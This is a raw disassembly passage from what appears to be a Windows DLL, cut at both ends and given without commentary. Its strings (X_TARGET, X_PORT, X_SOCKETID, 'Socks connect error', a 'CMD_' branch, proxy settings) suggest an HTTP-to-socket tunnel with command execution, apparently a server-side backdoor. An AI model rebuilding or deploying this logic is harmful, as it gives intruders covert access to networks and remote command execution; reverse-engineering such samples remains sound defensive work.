call fcn.180001c80
nop
lea rcx, [rsp + 0x1488]
call fcn.180001c80
lea rcx, [rsp + 0xa38]
jmp 0x1800050e7
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_TARGET
mov rcx, rdi
call qword [rax + 0x18]
mov rbx, rax
mov r9, qword [rdi]
xor r8d, r8d
lea rdx, str.X_PORT
mov rcx, rdi
call qword [r9 + 0x18]
mov r15, rax
test rbx, rbx
je case.default.0x180004f48
test rax, rax
je case.default.0x180004f48
mov edx, 1
mov esi, 2
lea r8d, [rdx + 5]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
mov qword [rsp + 0x50], rax
cmp rax, 0xffffffffffffffff
jne 0x180005a01
lea rdx, str.INVALID_SOCKET
lea rcx, [rsp + 0xa58]
call fcn.180001c10
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc78]
call fcn.180009730
nop
lea rcx, [rsp + 0xc98]
call fcn.180009730
nop
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
mov eax, esi
jmp 0x180007f21
mov dword [rsp + 0x8c], 1
lea r8, [rsp + 0x8c]
mov edx, 0x8004667e
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x180005a43
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.Set_non_block_mode_error
lea rcx, [rsp + 0xa78]
jmp 0x1800059b0
mov rdx, rbx
lea rcx, [rsp + 0xf88]
call fcn.180001c10
nop
mov word [rsp + 0xeb8], si
mov rdx, r15
lea rcx, [rsp + 0x14a8]
call fcn.180001c10
nop
lea rcx, [rsp + 0x14a8]
call fcn.180002220
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0xeba], ax
lea rcx, [rsp + 0x14a8]
call fcn.180001c80
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rsp + 0xebc], eax
cmp eax, 0xffffffff
jne 0x180005c20
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rdx, rax
test rax, rax
jne 0x180005b64
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0x1ce8]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.Parse_IP_failed_:
lea rcx, [rsp + 0xa98]
call fcn.18000d200
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x1ce8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xf88]
call fcn.180001c80
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc78]
call fcn.180009730
nop
lea rcx, [rsp + 0xc98]
call fcn.180009730
nop
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
mov eax, esi
jmp 0x180007f21
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ebx, dword [rcx]
cmp word [rdx + 0x10], 2
jne 0x180005ba9
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rax
lea r8, [rsp + 0xebc]
mov ecx, esi
call qword [sym.imp.WS2_32.dll_inet_pton]
mov ecx, ebx
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov rdx, rax
lea rcx, [rsp + 0xf88]
call fcn.180009a30
jmp 0x180005c20
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.Unknown_address_type
lea rcx, [rsp + 0xab8]
call fcn.180001c10
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0xf88]
call fcn.180001c80
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc78]
call fcn.180009730
nop
lea rcx, [rsp + 0xc98]
call fcn.180009730
nop
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
mov eax, esi
jmp 0x180007f21
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0xeb8]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x180005cf8
lea ecx, [rax + 0x65]
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
lea ecx, [rax - 0x2733]
cmp ecx, 1
jbe 0x180005cf8
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, ebx
lea rcx, [rsp + 0x1d48]
call fcn.1800022a0
nop
mov r8, rax
lea rdx, str.Socks_connect_error:
lea rcx, [rsp + 0xad8]
call fcn.18000d200
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x1d48]
call fcn.180001c80
nop
lea rcx, [rsp + 0xf88]
call fcn.180001c80
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc78]
call fcn.180009730
nop
lea rcx, [rsp + 0xc98]
call fcn.180009730
nop
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
mov eax, esi
jmp 0x180007f21
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, [rsp + 0x1f88]
call fcn.1800022a0
mov rbx, rax
lea r8, [0x18004e114]
lea rdx, [rsp + 0xf88]
lea rcx, [rsp + 0x1ee8]
call fcn.18000d360
nop
mov r8, r15
mov rdx, rax
lea rcx, [rsp + 0x1ea8]
call fcn.18000d460
nop
lea r8, str.__ErrNo:
mov rdx, rax
lea rcx, [rsp + 0x1e88]
call fcn.18000d460
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x1d88]
call fcn.18000d4d0
nop
lea r8, [0x18004e104]
mov rdx, rax
lea rcx, [rsp + 0xaf8]
call fcn.18000d460
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x1d88]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1e88]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1ea8]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1ee8]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1f88]
call fcn.180001c80
mov rdx, rdi
lea rcx, [rsp + 0x13a8]
call fcn.1800022e0
nop
mov rbx, qword [r14]
lea rcx, [rsp + 0x13a8]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x13b8]
lea rdx, str.X_SOCKETID
mov rcx, r14
call qword [rbx + 0x28]
nop
lea rcx, [rsp + 0x13a8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xf88]
call fcn.180001c80
jmp 0x1800059c3
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, rdi
call qword [rax + 0x18]
mov qword [rsp + 0x50], rax
test rax, rax
je case.default.0x180004f48
mov rdx, rax
lea rcx, [rsp + 0x14c8]
call fcn.180001c10
nop
lea rcx, [rsp + 0x14c8]
call fcn.180002220
movsxd rbx, eax
lea rcx, [rsp + 0x14c8]
call fcn.180001c80
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, [0x18004d8c8]
lea rcx, [rsp + 0xb38]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc78]
call fcn.180009730
nop
lea rcx, [rsp + 0xc98]
call fcn.180009730
nop
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
mov eax, 2
jmp 0x180007f21
mov rax, qword [rdi]
xor r8d, r8d
lea rdx, str.X_SOCKETID
mov rcx, rdi
call qword [rax + 0x18]
mov r12, rax
mov qword [rsp + 0x50], rax
test rax, rax
je case.default.0x180004f48
mov rdx, rax
lea rcx, [rsp + 0x14e8]
call fcn.180001c10
nop
lea rcx, [rsp + 0x14e8]
call fcn.180002220
movsxd rsi, eax
lea rcx, [rsp + 0x14e8]
call fcn.180001c80
xor edx, edx
mov r8d, 0x1000
lea rcx, [rsp + 0x24d0]
call fcn.18001e3f0
lea rcx, [rsp + 0xfa8]
call fcn.180001c50
nop
mov ebx, r15d
xor r9d, r9d
mov r8d, 0x1000
lea rdx, [rsp + 0x24d0]
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_recv]
movsxd rdi, eax
cmp edi, 0xffffffff
jne 0x1800060d8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edi, eax
lea edx, [rax - 0x2733]
cmp edx, 1
jbe 0x1800060c6
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
mov edx, edi
lea rcx, [rsp + 0x23c8]
call fcn.1800022a0
mov rbx, rax
mov rdx, r12
lea rcx, [rsp + 0x2388]
call fcn.180001c10
nop
mov r8, rax
lea rdx, str.Read_socket_fd__
lea rcx, [rsp + 0x2368]
call fcn.18000d200
nop
lea r8, str.__error:
mov rdx, rax
lea rcx, [rsp + 0x2288]
call fcn.18000d460
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xb78]
call fcn.18000d4d0
mov r8, rax
xor edx, edx
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x2288]
call fcn.180001c80
nop
lea rcx, [rsp + 0x2368]
call fcn.180001c80
nop
lea rcx, [rsp + 0x2388]
call fcn.180001c80
nop
lea rcx, [rsp + 0x23c8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xfa8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc78]
call fcn.180009730
nop
lea rcx, [rsp + 0xc98]
call fcn.180009730
nop
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
mov eax, 2
jmp 0x180007f21
inc ebx
mov ecx, socket
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x180006395
test eax, eax
jle 0x18000610c
xor eax, eax
mov ebx, eax
mov r8, rdi
lea rdx, [rsp + 0x24d0]
lea rcx, [rsp + 0xfa8]
call fcn.180009920
inc r15d
cmp edi, 0x1000
jl 0x18000621f
jmp 0x180005f85
jne 0x180006395
cmp qword [rsp + 0xfb8], 0
ja 0x180006213
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.OVER
lea rcx, [rsp + 0x1148]
call fcn.180001c10
nop
mov rbx, qword [r14]
lea rcx, [rsp + 0x1148]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x1158]
lea rdx, str.X_STATUS
mov rcx, r14
call qword [rbx + 0x28]
lea rdx, str.DONE
lea rcx, [rsp + 0x1148]
call fcn.180009a30
mov rbx, qword [r14]
lea rcx, [rsp + 0x1148]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x1158]
lea rdx, str.X_ERROR
mov rcx, r14
call qword [rbx + 0x28]
nop
lea rcx, [rsp + 0x1148]
call fcn.180001c80
nop
lea rcx, [rsp + 0xfa8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc78]
call fcn.180009730
nop
lea rcx, [rsp + 0xc98]
call fcn.180009730
nop
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
mov eax, 2
jmp 0x180007f21
cmp ebx, 0x5dc
jge 0x1800063a1
mov edx, ebx
lea rcx, [rsp + 0x1a08]
call fcn.1800022a0
mov rbx, rax
mov edx, r15d
lea rcx, [rsp + 0x19e8]
call fcn.1800022a0
nop
lea r8, [0x18004e1a8]
mov rdx, rax
lea rcx, [rsp + 0x2468]
call fcn.18000d460
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0xb98]
call fcn.18000d4d0
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x2468]
call fcn.180001c80
nop
lea rcx, [rsp + 0x19e8]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1a08]
call fcn.180001c80
mov rdx, r12
lea rcx, [rsp + 0x13c8]
call fcn.180001c10
nop
mov rbx, qword [r14]
lea rcx, [rsp + 0x13c8]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x13d8]
lea rdx, str.X_SOCKETID
mov rcx, r14
call qword [rbx + 0x28]
lea rax, [rsp + 0xbb8]
mov qword [rsp + 0xdb8], rax
lea rdx, str.stream
lea rcx, [rsp + 0xbb8]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0xfa8]
lea rcx, [rsp + 0xbd8]
call fcn.180009ad0
nop
xor r9d, r9d
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
nop
lea rcx, [rsp + 0x13c8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xfa8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc78]
call fcn.180009730
nop
lea rcx, [rsp + 0xc98]
call fcn.180009730
nop
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
mov eax, 2
jmp 0x180007f21
cmp ebx, 0x5dc
jl 0x180005f85
mov rcx, rsi
call qword [sym.imp.WS2_32.dll_closesocket]
lea rdx, str.OVER
lea rcx, [rsp + 0x1168]
call fcn.180001c10
nop
mov rbx, qword [r14]
lea rcx, [rsp + 0x1168]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x1178]
lea rdx, str.X_STATUS
mov rcx, r14
call qword [rbx + 0x28]
lea rdx, str.Timeout
lea rcx, [rsp + 0x1168]
call fcn.180009a30
mov rbx, qword [r14]
lea rcx, [rsp + 0x1168]
call fcn.180001bf0
mov r8, rax
mov dword [rsp + 0x20], 1
movzx r9d, word [rsp + 0x1178]
lea rdx, str.X_ERROR
mov rcx, r14
call qword [rbx + 0x28]
nop
lea rcx, [rsp + 0x1168]
call fcn.180001c80
nop
lea rcx, [rsp + 0xfa8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xcb8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xc78]
call fcn.180009730
nop
lea rcx, [rsp + 0xc98]
call fcn.180009730
nop
lea rcx, [rsp + 0xcd8]
call fcn.180001c80
mov eax, 2
jmp 0x180007f21
lea rdx, [rsp + 0xcb8]
lea rcx, [rsp + 0x1ac8]
call fcn.1800154e0
nop
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.180012ea0
nop
lea rcx, [rsp + 0x1ac8]
call fcn.180001c80
lea rcx, [rsp + 0x12c8]
call fcn.180001c50
nop
lea rdx, [0x18004e1ac]
lea rcx, [rsp + 0x1508]
call fcn.180001c10
lea r8, [rsp + 0x1508]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x90]
call fcn.180008db0
lea rcx, [rsp + 0x1508]
call fcn.180001c80
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x220], rax
mov rdx, qword [rsp + 0x50]
cmp rdx, rax
je 0x18000653b
add rdx, 0x40
lea rcx, [rsp + 0x12c8]
call fcn.180009a50
lea rdx, str.timeout
lea rcx, [rsp + 0x1528]
call fcn.180001c10
lea r8, [rsp + 0x1528]
lea rdx, [rsp + 0x218]
lea rcx, [rsp + 0x90]
call fcn.180008db0
mov rbx, qword [rax]
lea rcx, [rsp + 0x1528]
call fcn.180001c80
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x210], rax
cmp rbx, rax
je 0x1800065a9
lea rcx, [rbx + 0x40]
call fcn.180002220
mov r13d, eax
jmp 0x1800065a9
cmp qword [rsp + 0x12d8], 0
je 0x18000668d
lea rax, [rsp + 0xc18]
mov qword [rsp + 0x40], rax
lea rdx, str.stream
lea rcx, [rsp + 0xc18]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x12c8]
lea rcx, [rsp + 0x1b48]
call fcn.180015990
nop
imul r8d, r13d, 0x3e8
mov rdx, rax
lea rcx, [rsp + 0x1b28]
call fcn.180018480
nop
mov rdx, rax
lea rcx, [rsp + 0xc58]
call fcn.1800154e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
nop
lea rcx, [rsp + 0x1b28]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1b48]
call fcn.180009730
lea rdx, [0x18004d8c8]
lea rcx, [rsp + 0x298]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x12c8]
call fcn.180001c80
nop
lea rcx, [rsp + 0x90]
call fcn.180007fa0
jmp 0x180005104
lea rcx, [rsp + 0x12c8]
call fcn.180001c80
nop
lea rcx, [rsp + 0x90]
jmp 0x180007ee2
lea rdx, [rsp + 0xcb8]
lea rcx, [rsp + 0x1b88]
call fcn.1800154e0
nop
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.180012ea0
nop
lea rcx, [rsp + 0x1b88]
call fcn.180001c80
lea rcx, [rsp + 0x12e8]
call fcn.180001c50
nop
lea rdx, [0x18004e1ac]
lea rcx, [rsp + 0x1548]
call fcn.180001c10
lea r8, [rsp + 0x1548]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xb0]
call fcn.180008db0
lea rcx, [rsp + 0x1548]
call fcn.180001c80
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x208], rax
mov rdx, qword [rsp + 0x50]
cmp rdx, rax
je 0x180006750
add rdx, 0x40
lea rcx, [rsp + 0x12e8]
call fcn.180009a50
lea rdx, str.timeout
lea rcx, [rsp + 0x1568]
call fcn.180001c10
lea r8, [rsp + 0x1568]
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0xb0]
call fcn.180008db0
mov rbx, qword [rax]
lea rcx, [rsp + 0x1568]
call fcn.180001c80
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x248], rax
cmp rbx, rax
je 0x1800067be
lea rcx, [rbx + 0x40]
call fcn.180002220
mov r13d, eax
jmp 0x1800067be
cmp qword [rsp + 0x12f8], 0
je 0x180006901
lea rcx, [rsp + 0x1348]
call fcn.180001c50
nop
lea r8, [rsp + 0x12e8]
lea rdx, str.CMD_
lea rcx, [rsp + 0x1bc8]
call fcn.18000d100
nop
mov rdx, rax
lea rcx, [rsp + 0x1ba8]
call fcn.1800154e0
nop
imul r8d, r13d, 0x3e8
lea rdx, [rsp + 0x1348]
mov rcx, rax
call fcn.180017de0
nop
lea rcx, [rsp + 0x1ba8]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1bc8]
call fcn.180001c80
lea rax, [rsp + 0x2b8]
mov qword [rsp + 0x40], rax
lea rdx, str.stream
lea rcx, [rsp + 0x2b8]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x1348]
lea rcx, [rsp + 0x2d8]
call fcn.180009ad0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
mov rdx, qword [rsp + 0x1358]
lea rcx, [rsp + 0x1c48]
call fcn.1800022e0
nop
mov r8, rax
lea rdx, str.Send_data_length:
lea rcx, [rsp + 0x2f8]
call fcn.18000d200
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0x1c48]
call fcn.180001c80
nop
lea rcx, [rsp + 0x1348]
call fcn.180001c80
nop
lea rcx, [rsp + 0x12e8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb0]
call fcn.180007fa0
jmp 0x180005104
lea rcx, [rsp + 0x12e8]
call fcn.180001c80
nop
lea rcx, [rsp + 0xb0]
jmp 0x180007ee2
lea rdx, [rsp + 0xcb8]
lea rcx, [rsp + 0x1c68]
call fcn.1800154e0
nop
mov rdx, rax
lea rcx, [rsp + 0x138]
call fcn.180012ea0
nop
lea rcx, [rsp + 0x1c68]
call fcn.180001c80
lea rcx, [rsp + 0xdb8]
call fcn.180009820
nop
lea rdx, str.proxyEnable
lea rcx, [rsp + 0x1588]
call fcn.180001c10
lea r8, [rsp + 0x1588]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x138]
call fcn.180008db0
lea rcx, [rsp + 0x1588]
call fcn.180001c80
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x250], rax
mov rbx, qword [rsp + 0x40]
cmp rbx, rax
je 0x180006cbf
lea rcx, [rbx + 0x40]
lea rdx, [0x18004e1e4]
call fcn.18000d570
test al, al
je 0x180006aca
mov byte [0x180058a18], 0
lea rdx, [0x18004e1e8]
lea rcx, [rsp + 0x15e8]
call fcn.1800097e0
nop
lea rdx, str.enableProxy
lea rcx, [rsp + 0x15c8]
call fcn.1800097e0
nop
lea rdx, str.Common
lea rcx, [rsp + 0x15a8]
call fcn.1800097e0
nop
lea r8, [rsp + 0x15e8]
lea rdx, [rsp + 0x15c8]
lea rcx, [rsp + 0x15a8]
call fcn.180017ce0
nop
lea rcx, [rsp + 0x15a8]
call fcn.180009730
nop
lea rcx, [rsp + 0x15c8]
call fcn.180009730
nop
lea rcx, [rsp + 0x15e8]
call fcn.180009730
lea rax, [rsp + 0x318]
mov qword [rsp + 0x40], rax
lea rdx, str.Disabled_Proxy
lea rcx, [rsp + 0x1868]
call fcn.180001c10
nop
lea rdx, str.stream
lea rcx, [rsp + 0x318]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x1868]
lea rcx, [rsp + 0x338]
call fcn.1800154e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
nop
lea rcx, [rsp + 0x1868]
jmp 0x180006cba
lea rcx, [rbx + 0x40]
lea rdx, [0x18004e228]
call fcn.18000d570
test al, al
je 0x180006bdd
mov byte [0x180058a18], 1
lea rdx, [0x18004e22c]
lea rcx, [rsp + 0x1648]
call fcn.1800097e0
nop
lea rdx, str.enableProxy
lea rcx, [rsp + 0x1628]
call fcn.1800097e0
nop
lea rdx, str.Common
lea rcx, [rsp + 0x1608]
call fcn.1800097e0
nop
lea r8, [rsp + 0x1648]
lea rdx, [rsp + 0x1628]
lea rcx, [rsp + 0x1608]
call fcn.180017ce0
nop
lea rcx, [rsp + 0x1608]
call fcn.180009730
nop
lea rcx, [rsp + 0x1628]
call fcn.180009730
nop
lea rcx, [rsp + 0x1648]
call fcn.180009730
lea rax, [rsp + 0x358]
mov qword [rsp + 0x40], rax
lea rdx, str.Enabled_Proxy
lea rcx, [rsp + 0x1668]
call fcn.180001c10
nop
lea rdx, str.stream
lea rcx, [rsp + 0x358]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x1668]
lea rcx, [rsp + 0x378]
call fcn.1800154e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
nop
lea rcx, [rsp + 0x1668]
jmp 0x180006cba
cmp byte [0x180058a18], 1
jne 0x180006c51
lea rax, [rsp + 0x398]
mov qword [rsp + 0x40], rax
lea rdx, str.Status:_Proxy_Enabled
lea rcx, [rsp + 0x1688]
call fcn.180001c10
nop
lea rdx, str.stream
lea rcx, [rsp + 0x398]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x1688]
lea rcx, [rsp + 0x3b8]
call fcn.1800154e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
nop
lea rcx, [rsp + 0x1688]
jmp 0x180006cba
lea rax, [rsp + 0x3d8]
mov qword [rsp + 0x40], rax
lea rdx, str.Status:_Proxy_Disabled
lea rcx, [rsp + 0x16a8]
call fcn.180001c10
nop
lea rdx, str.stream
lea rcx, [rsp + 0x3d8]
call fcn.180001c10
mov rbx, rax
lea rdx, [rsp + 0x16a8]
lea rcx, [rsp + 0x3f8]
call fcn.1800154e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
nop
lea rcx, [rsp + 0x16a8]
call fcn.180001c80
lea rdx, [0x18004d8c8]
lea rcx, [rsp + 0x418]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0xdb8]
call fcn.180009730
nop
lea rcx, [rsp + 0x138]
call fcn.180007fa0
jmp 0x180005104
call fcn.180015ff0
lea rdx, [rsp + 0xcb8]
lea rcx, [rsp + 0x1da8]
call fcn.1800154e0
nop
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.180012ea0
nop
lea rcx, [rsp + 0x1da8]
call fcn.180001c80
lea rcx, [rsp + 0xe18]
call fcn.180009820
nop
lea rcx, [rsp + 0xe0]
call fcn.180009690
nop
lea rdx, str.proxyPath
lea rcx, [rsp + 0x16c8]
call fcn.180001c10
lea r8, [rsp + 0x16c8]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0xa0]
call fcn.180008db0
lea rcx, [rsp + 0x16c8]
call fcn.180001c80
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x258], rax
mov rbx, qword [rsp + 0x40]
cmp rbx, rax
je 0x180006e26
lea rdx, [0x18004e27c]
lea rcx, [rsp + 0x16e8]
call fcn.1800097e0
nop
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x1dc8]
call fcn.180015990
nop
lea r8, [rsp + 0x16e8]
mov rdx, rax
lea rcx, [rsp + 0x268]
call fcn.1800155b0
mov rdx, rax
lea rcx, [rsp + 0xe0]
call fcn.1800095c0
lea rcx, [rsp + 0x268]
call fcn.180009520
nop
lea rcx, [rsp + 0x1dc8]
call fcn.180009730
nop
lea rcx, [rsp + 0x16e8]
call fcn.180009730
lea rdx, str.proxyUrl
lea rcx, [rsp + 0x1708]
call fcn.180001c10
lea r8, [rsp + 0x1708]
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0xa0]
call fcn.180008db0
mov rbx, qword [rax]
lea rcx, [rsp + 0x1708]
call fcn.180001c80
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x1e8], rax
cmp rbx, rax
je 0x180006f33
lea rdx, [rbx + 0x40]
lea rcx, [rsp + 0x1de8]
call fcn.180015990
mov rdx, rax
lea rcx, [rsp + 0xe18]
call fcn.180009770
lea rcx, [rsp + 0x1de8]
call fcn.180009730
mov eax, dword [rsp + 0xe28]
dec eax
movsxd rdi, eax
mov r9d, 1
mov r8, rdi
lea rdx, [rsp + 0x1e08]
lea rcx, [rsp + 0xe18]
call fcn.1800096b0
lea rdx, [0x18004e28c]
mov rcx, rax
call fcn.18000d5c0
movzx ebx, al
lea rcx, [rsp + 0x1e08]
call fcn.180009730
test bl, bl
je 0x180006f33
mov r9, rdi
xor r8d, r8d
lea rdx, [rsp + 0x1e28]
lea rcx, [rsp + 0xe18]
call fcn.1800096b0
mov rdx, rax
lea rcx, [rsp + 0xe18]
call fcn.180009770
lea rcx, [rsp + 0x1e28]
call fcn.180009730
mov rcx, qword [rsp + 0xe8]
mov rax, rcx
mov rbx, qword [rsp + 0xe0]
sub rax, rbx
sar rax, 5
test rax, rax
je 0x180007151
cmp qword [rsp + 0xe28], 0
je 0x180007151
mov qword [rsp + 0x128], rcx
cmp rbx, rcx
je 0x18000709c
nop word [rax + rax]
mov rdx, rbx
lea rcx, [rsp + 0xf28]
call fcn.180009840
nop
cmp qword [rsp + 0xf38], 0
je 0x180007072
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x1e48]
lea rcx, [rsp + 0xf28]
call fcn.1800096b0
mov rcx, rax
call fcn.18000d630
movzx edi, al
lea rcx, [rsp + 0x1e48]
call fcn.180009730
test dil, dil
je 0x180007014
lea r8, [rsp + 0xf28]
lea rdx, [0x18004e28c]
lea rcx, [rsp + 0x1e68]
call fcn.18000d6a0
mov rdx, rax
lea rcx, [rsp + 0xf28]
call fcn.180009770
lea rcx, [rsp + 0x1e68]
call fcn.180009730
lea rdx, [rsp + 0xf28]
call fcn.1800094c0
mov rcx, rax
lea rdx, [rsp + 0xe18]
call fcn.180009700
lea rdx, str.Proxy
lea rcx, [rsp + 0x1728]
call fcn.1800097e0
nop
lea r8, [rsp + 0xe18]
lea rdx, [rsp + 0xf28]
lea rcx, [rsp + 0x1728]
call fcn.180017ce0
nop
lea rcx, [rsp + 0x1728]
call fcn.180009730
nop
lea rcx, [rsp + 0xf28]
call fcn.180009730
add rbx, 0x20
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x128], rax
cmp rbx, rax
jne 0x180006f80
lea rax, [rsp + 0x438]
mov qword [rsp + 0x40], rax
lea rdx, str.stream
lea rcx, [rsp + 0x438]
call fcn.180001c10
mov rbx, rax
lea rcx, [rsp + 0x1ec8]
call fcn.180015bb0
nop
mov rdx, rax
lea rcx, [rsp + 0x458]
call fcn.1800154e0
nop
mov r9b, 1
mov r8, rbx
mov rdx, rax
mov rcx, r14
call fcn.1800127c0
nop
lea rcx, [rsp + 0x1ec8]
call fcn.180001c80
lea rdx, [0x18004d8c8]
lea rcx, [rsp + 0x478]
call fcn.180001c10
mov r8, rax
mov edx, 1
mov rcx, r14
call fcn.180012610
nop
lea rcx, [rsp + 0xe0]
call fcn.180009520
nop
lea rcx, [rsp + 0xe18]
call fcn.180009730
nop
lea rcx, [rsp + 0xa0]
call fcn.180007fa0
jmp 0x180005104
lea rcx, [rsp + 0xe0]
call fcn.180009520
nop
lea rcx, [rsp + 0xe18]
call fcn.180009730
nop
lea rcx, [rsp + 0xa0]
jmp 0x180007ee2
call fcn.180015ff0
lea rdx, [rsp + 0xcb8]
lea rcx, [rsp + 0x1f08]
call fcn.1800154e0
nop
